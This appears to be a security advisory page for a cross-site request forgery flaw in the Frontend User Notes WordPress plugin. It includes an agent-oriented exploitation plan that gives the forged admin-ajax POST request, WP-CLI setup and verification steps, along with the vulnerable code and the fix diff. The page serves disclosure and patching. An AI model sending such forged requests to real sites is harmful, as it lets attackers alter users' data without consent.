Frontend User Notes <= 2.1.1 - Cross-Site Request Forgery to Note Content Modification via 'confirmEdit' Action
Description
The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.1. This is due to missing or incorrect nonce validation on the funp_ajax_modify_notes function. This makes it possible for unauthenticated attackers to trick a logged-in user into visiting a malicious page, causing unauthorized overwriting of that victim's own note content via a forged cross-site request to wp_update_post() via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Due to ownership enforcement comparing the note's stored _funp_single_user_id meta against the current session's user ID, the attack is limited to modifying only notes belonging to the tricked victim, and cannot be used to alter notes owned by arbitrary third-party users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=2.1.1What Changed in the Fix
Changes introduced in v2.2.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7047 ## 1. Vulnerability Summary The **Frontend User Notes** plugin for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)** in versions up to and including 2.1.1. The vulnerability exists in the AJAX handler `funp_ajax_modify_notes` because it fai…
Show full research plan
Exploitation Research Plan: CVE-2026-7047
1. Vulnerability Summary
The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 2.1.1. The vulnerability exists in the AJAX handler funp_ajax_modify_notes because it fails to perform nonce validation when the noteAction parameter is set to confirmEdit. This allows an unauthenticated attacker to craft a malicious request that, if executed by a logged-in user, modifies the content of the victim's existing notes. While the plugin enforces ownership (ensuring a user can only modify their own notes), the lack of CSRF protection means the victim's browser can be coerced into "self-modifying" their notes with attacker-supplied content.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
funp_ajax_modify_notes - Vulnerable Parameter:
noteAction(when set toconfirmEdit) - Payload Parameter:
noteContent(the new content for the note) - Target ID Parameter:
noteEditId(the ID of the note to modify) - Authentication Required: Logged-in user (the "victim")
- Preconditions: The victim must have at least one existing note (post type:
frontend-user-notes).
3. Code Flow
- Entry Point: The plugin registers the AJAX action in
includes/ajax.php:add_action("wp_ajax_funp_ajax_modify_notes", "funp_ajax_modify_notes"); - Handler Execution: When a POST request is made to
admin-ajax.phpwithaction=funp_ajax_modify_notes, thefunp_ajax_modify_notes()function is called. - Authorization Check: The function retrieves the current user ID and verifies the note's owner:
$user_id = funp_cur_user_id(); $cur_note_author = absint( get_post_meta( $post_id, '_funp_single_user_id', true ) ); if ( ! $cur_note_author || $cur_note_author !== $user_id ) { ... } - Vulnerable Branch: The function checks the
$actionvariable:$action = isset( $_POST["noteAction"] ) ? ... : null; // ... if( $action === esc_html("remove") ){ if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { ... } // ... logic ... } if( $action === esc_html("confirmEdit") ){ // VULNERABILITY: No check_ajax_referer() or wp_verify_nonce() call here. $update_note = array( 'ID' => $post_id, 'post_content' => wp_strip_all_tags( $cont, true ), ); $update = wp_update_post($update_note); } - Sink: The content is updated via
wp_update_post().
4. Nonce Acquisition Strategy
According to the source code analysis, the confirmEdit action does not verify a nonce. Therefore, an attacker does not need to acquire one to successfully exploit this specific action.
However, for a complete PoC and to demonstrate the failure of the security control, one can observe that other actions (like remove) do require a nonce named security with the action string funp_note_action_nonce.
If an agent needs to retrieve nonces for other parts of the plugin (e.g., to prove they exist but are ignored here):
- Shortcode: The plugin uses
[fun-my-notes]to display notes on the frontend. - JS Variable: The plugin enqueues
funp_fn_scriptsand localizes the variableFUNP_AJAX_VAR. - Extraction:
- Create a page with
[fun-my-notes]. - Use
browser_eval("window.FUNP_AJAX_VAR?.nonce")to get the load-notes nonce. - Note: The
funp_note_action_nonceis actually embedded in the HTML links of the note cards (data-nonce attribute) generated byfunp_notes_inner_links().
- Create a page with
5. Exploitation Strategy
The goal is to modify a victim's note without a valid nonce.
Step 1: Discover Target Note ID
The attacker needs the ID of a note belonging to the victim. In a real-world CSRF, this might be guessed or obtained via other means, but for a PoC, we will identify a note ID created during setup.
Step 2: Perform the Forged Request
Use the http_request tool to send a POST request as the logged-in victim.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=funp_ajax_modify_notes¬eEditId=[NOTE_ID]¬eAction=confirmEdit¬eContent=EXPLOITED_BY_CSRF
6. Test Data Setup
- Create Victim User:
wp user create victim victim@example.com --role=subscriber --user_pass=password - Create Initial Note for Victim:
Notes use the custom post typefrontend-user-notes. The ownership is tracked via the_funp_single_user_idmeta key.NOTE_ID=$(wp post create --post_type=frontend-user-notes --post_status=publish --post_title="Note ID: " --post_content="Original Content" --post_author=$(wp user get victim --field=ID) --porcelain) wp post meta set $NOTE_ID _funp_single_user_id $(wp user get victim --field=ID) - Session: Ensure the agent's browser context is logged in as
victim.
7. Expected Results
The server should return a JSON success response:
{
"success": true,
"data": {
"message": "Note updated successfully",
"update": { ... },
"action": "confirmEdit"
}
}
Crucially, the request should succeed despite the absence of a security parameter in the POST body.
8. Verification Steps
After the http_request, verify the database state using WP-CLI:
wp post get [NOTE_ID] --field=post_content
Success condition: The output should be EXPLOITED_BY_CSRF.
9. Alternative Approaches
If the plugin is configured in a way that wp_ajax actions behave differently, an attacker could try to trigger the same logic via the wp_ajax_nopriv hook if it were registered, but in this plugin, only wp_ajax (authenticated) is registered for modification.
Another vector would be to test the remove action. If the security parameter is provided but with an incorrect nonce, and it still deletes the note, it would indicate a broader failure of check_ajax_referer. However, the code explicitly checks the nonce for remove, so the confirmEdit path remains the primary exploit target.
Summary
The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.1.1 due to missing nonce validation on the 'confirmEdit' action in the AJAX handler. This allows an attacker to trick a logged-in user into unknowingly overwriting the content of their own notes with attacker-supplied text.
Vulnerable Code
// includes/ajax.php (v2.1.1) add_action("wp_ajax_funp_ajax_modify_notes", "funp_ajax_modify_notes"); function funp_ajax_modify_notes(){ if( empty( $_POST ) ) { $message = __('No data was posted.', 'frontend-user-notes'); wp_send_json_error( $message); } $post_id = isset( $_POST["noteEditId"] ) ? absint($_POST["noteEditId"]) : 0; $action = isset( $_POST["noteAction"] ) ? sanitize_text_field( wp_unslash ( $_POST["noteAction"] ) ) : null; $cont = isset( $_POST["noteContent"] ) ? sanitize_textarea_field( wp_unslash ( $_POST["noteContent"] ) ) : null; // ... (omitted user/post validation) ... if( $action === esc_html("remove") ){ if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes'); wp_send_json_error( $message ); } // ... logic ... } if( $action === esc_html("confirmEdit") ){ // VULNERABILITY: No nonce check (check_ajax_referer) is performed for this action branch $update_note = array( 'ID' => $post_id, 'post_content' => wp_strip_all_tags( $cont, true ), ); $update = wp_update_post($update_note); if( is_wp_error($update) ) { // ... } else { $message = esc_html__("Note updated successfully", "frontend-user-notes"); wp_send_json_success( array( 'message' => $message, 'update' => get_post($post_id), 'action' => 'confirmEdit' ) ); } } }
Security Fix
@@ -110,6 +110,11 @@ $cont = isset( $_POST["noteContent"] ) ? sanitize_textarea_field( wp_unslash ( $_POST["noteContent"] ) ) : null; $user_id = funp_cur_user_id(); + if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { + $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes'); + wp_send_json_error( $message ); + } + if ( !$user_id ) { $message = __('Unauthorized. You must be logged in.', 'frontend-user-notes'); wp_send_json_error( $message ); @@ -135,11 +140,6 @@ } if( $action === esc_html("remove") ){ - if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { - $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes'); - wp_send_json_error( $message ); - } - // Delete the post $delete = wp_delete_post($post_id, false);
Exploit Outline
1. Identify the Target: The attacker identifies the ID of a note belonging to a logged-in user (victim). 2. Craft CSRF Payload: The attacker creates a malicious HTML page or script that sends an unauthenticated POST request to `/wp-admin/admin-ajax.php`. 3. Set Request Parameters: The payload sets the `action` to `funp_ajax_modify_notes`, `noteAction` to `confirmEdit`, `noteEditId` to the victim's note ID, and `noteContent` to the attacker's desired text. 4. Victim Interaction: The attacker tricks the logged-in victim into visiting the malicious page (e.g., via phishing). 5. Execution: Because the `confirmEdit` logic path in `funp_ajax_modify_notes` does not verify a security nonce, the WordPress AJAX handler processes the request as if the victim intended it, successfully calling `wp_update_post()` to modify the note.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.